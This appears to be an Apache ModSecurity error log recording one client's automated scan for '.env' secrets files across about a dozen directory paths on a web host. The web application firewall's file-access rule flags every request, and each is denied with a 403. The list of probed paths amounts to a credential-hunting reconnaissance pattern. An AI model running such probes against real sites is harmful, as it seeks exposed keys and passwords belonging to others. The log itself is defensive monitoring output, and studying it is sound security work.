[Mon Oct 26 07:05:07.994154 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at8z4yz2IVlcktcA6K04YAAAABg"]
[Mon Oct 26 07:05:07.994356 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at8z4yz2IVlcktcA6K04YAAAABg"]
[Mon Oct 26 07:05:07.995212 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at8z48sf6KX343046fT7-QAAABM"]
[Mon Oct 26 07:05:07.995357 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at8z48sf6KX343046fT7-QAAABM"]
[Mon Oct 26 07:05:07.995562 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at8z48sf6KX343046fT7-QAAABM"]
[Mon Oct 26 07:05:07.997029 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at8z4yzBVbdmenz1Qplf2AAAACs"]
[Mon Oct 26 07:05:07.997243 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at8z4yzBVbdmenz1Qplf2AAAACs"]
[Mon Oct 26 07:05:07.997547 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at8z4yzBVbdmenz1Qplf2AAAACs"]
[Mon Oct 26 07:05:07.998438 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at8z4wPZVv3Il2lbVePvlQAAAAQ"]
[Mon Oct 26 07:05:07.998575 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at8z4wPZVv3Il2lbVePvlQAAAAQ"]
[Mon Oct 26 07:05:07.998815 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at8z4wPZVv3Il2lbVePvlQAAAAQ"]
[Mon Oct 26 07:05:08.047351 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbQAAAAk"]
[Mon Oct 26 07:05:08.047639 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbQAAAAk"]
[Mon Oct 26 07:05:08.048008 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbQAAAAk"]
[Mon Oct 26 07:05:08.064453 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3HwAAABQ"]
[Mon Oct 26 07:05:08.064652 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3HwAAABQ"]
[Mon Oct 26 07:05:08.064899 2026] [security2:error] [pid 3017657:tid 3017657] [client 34.39.164.1:47332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at8z5OvTeiIeeTOEx2-3HwAAABQ"]
[Mon Oct 26 07:05:08.248264 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at8z5AFmwSOxi_IjJL3BGgAAACQ"]
[Mon Oct 26 07:05:08.248519 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at8z5AFmwSOxi_IjJL3BGgAAACQ"]
[Mon Oct 26 07:05:08.248902 2026] [security2:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at8z5AFmwSOxi_IjJL3BGgAAACQ"]
[Mon Oct 26 07:05:08.404269 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at8z5BtqC-HENAKDpEgEnAAAABU"]
[Mon Oct 26 07:05:08.404604 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at8z5BtqC-HENAKDpEgEnAAAABU"]
[Mon Oct 26 07:05:08.404903 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at8z5BtqC-HENAKDpEgEnAAAABU"]
[Mon Oct 26 07:05:08.405043 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at8z5Ke0hdS5i1FYoSkSXwAAACw"]
[Mon Oct 26 07:05:08.405242 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at8z5Ke0hdS5i1FYoSkSXwAAACw"]
[Mon Oct 26 07:05:08.405480 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at8z5Ke0hdS5i1FYoSkSXwAAACw"]
[Mon Oct 26 07:05:08.407766 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at8z5AmtqRvGLzY5nYxxFwAAACc"]
[Mon Oct 26 07:05:08.407918 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at8z5AmtqRvGLzY5nYxxFwAAACc"]
[Mon Oct 26 07:05:08.408429 2026] [security2:error] [pid 3019693:tid 3019693] [client 34.39.164.1:35228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at8z5AmtqRvGLzY5nYxxFwAAACc"]
[Mon Oct 26 07:05:08.409611 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at8z5CcSv4BJXPfRnP7RfQAAACg"]
[Mon Oct 26 07:05:08.409790 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at8z5CcSv4BJXPfRnP7RfQAAACg"]
[Mon Oct 26 07:05:08.410046 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at8z5CcSv4BJXPfRnP7RfQAAACg"]
[Mon Oct 26 07:05:08.411113 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbgAAAAk"]
[Mon Oct 26 07:05:08.411275 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbgAAAAk"]
[Mon Oct 26 07:05:08.411504 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at8z5P2f_7_KPo47JjIUbgAAAAk"]
[Mon Oct 26 07:05:08.412494 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at8z5CzBVbdmenz1Qplf2QAAACs"]
[Mon Oct 26 07:05:08.412626 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at8z5CzBVbdmenz1Qplf2QAAACs"]
[Mon Oct 26 07:05:08.412884 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at8z5CzBVbdmenz1Qplf2QAAACs"]
[Mon Oct 26 07:05:08.414273 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at8z5APZVv3Il2lbVePvlgAAAAQ"]
